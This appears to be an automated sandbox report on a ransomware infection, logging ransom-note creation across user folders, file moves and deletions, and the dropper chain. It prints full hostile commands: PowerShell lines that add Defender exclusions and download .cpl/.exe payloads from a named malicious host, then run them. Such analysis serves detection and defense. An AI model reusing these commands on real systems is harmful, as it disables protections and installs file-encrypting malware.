Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\bqjuwoyrto\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\bwetzdqdib\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\hmppsxqpqv\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\lfopodgvoh\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\lijdsfkjzg\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\nirmekamzh\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\qfapowpafg\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\ubvuntsczj\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\unkrlcvohv\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\wdbwcpefjw\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\wshejmdvqc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\atjbemhssb\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\bqjuwoyrto\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\bwetzdqdib\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\hmppsxqpqv\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\lfopodgvoh\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\lijdsfkjzg\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\my music\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\my pictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\my videos\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\nirmekamzh\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\qfapowpafg\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\ubvuntsczj\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\unkrlcvohv\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\wdbwcpefjw\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\wshejmdvqc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\pictures\camera roll\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\pictures\saved pictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\.ms-ad\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\3d objects\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\dc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\dc\collab\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\dc\forms\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\dc\jscache\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\dc\security\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\dc\security\crlcache\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\preflight acrobat continuous\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\crlogs\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\crlogs\crashlogs\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\flash player\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\flash player\nativecache\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\headlights\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\linguistics\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\logtransport2\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\logtransport2cc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\rttransfer\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\sonar\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\sonar\sonarcc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\com.adobe.dunamis\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\com.adobe.dunamis\56079431-ea46-4833-94f9-1ff5658cdb1c\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\com.adobe.dunamis\61f56613-c62c-4b17-84dd-62b60d5776aa\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\com.adobe.dunamis\6d9d9777-7ded-4768-8191-9a707d72b009\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\com.adobe.dunamis\f2eb6c79-671d-4de2-b7be-3b2eea7abc47\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\addins\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\credentials\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\crypto\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\crypto\keys\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\crypto\rsa\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-2246122658-3693405117-2476756634-1003\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\excel\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\excel\xlstart\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\implicitappshortcuts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\userdata\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\userdata\low\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\network\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\network\connections\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\network\connections\pbk\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\network\connections\pbk\_hiddenpbk\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\protect\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\protect\s-1-5-21-2246122658-3693405117-2476756634-1003\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\speech\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\spelling\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\systemcertificates\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\certificates\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\crls\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\ctls\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\vault\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\accountpictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\cloudstore\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\libraries\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\network shortcuts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\printer shortcuts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\recent\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\recent\automaticdestinations\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\recent items\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\sendto\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\accessibility\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\accessories\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\administrative tools\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\maintenance\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\system tools\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\windows powershell\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\templates\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\themes\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\themes\cachedfiles\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\extensions\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\crash reports\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\crash reports\events\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\pending pings\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\bookmarkbackups\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\crashes\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\crashes\events\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\archived\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\archived\2023-10\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\glean\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\glean\db\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\glean\events\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\glean\pending_pings\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\glean\tmp\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\minidumps\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\saved-telemetry-pings\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\security_state\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\sessionstore-backups\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\default\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595amcateirvtisty.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\temporary\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\to-be-removed\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\y572q81e.default\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\contacts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\cookies\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\downloads\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\favorites\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\favorites\links\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\links\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\onedrive\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\recent\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\saved games\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\searches\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\accountpictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\documents\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\documents\my music\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\documents\my pictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\documents\my videos\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\downloads\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\libraries\decryptfiles.txt

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File moved: C:\Users\user\Desktop\HMPPSXQPQV\QFAPOWPAFG.xlsx
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File deleted: C:\Users\user\Desktop\HMPPSXQPQV\QFAPOWPAFG.xlsx
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File moved: C:\Users\user\Desktop\BWETZDQDIB.mp3
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File moved: C:\Users\user\Desktop\HMPPSXQPQV.xlsx
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File moved: C:\Users\user\Desktop\UNKRLCVOHV\LFOPODGVOH.xlsx

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\fjeljies.cpl			Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe			Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp'	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl	Jump to behavior
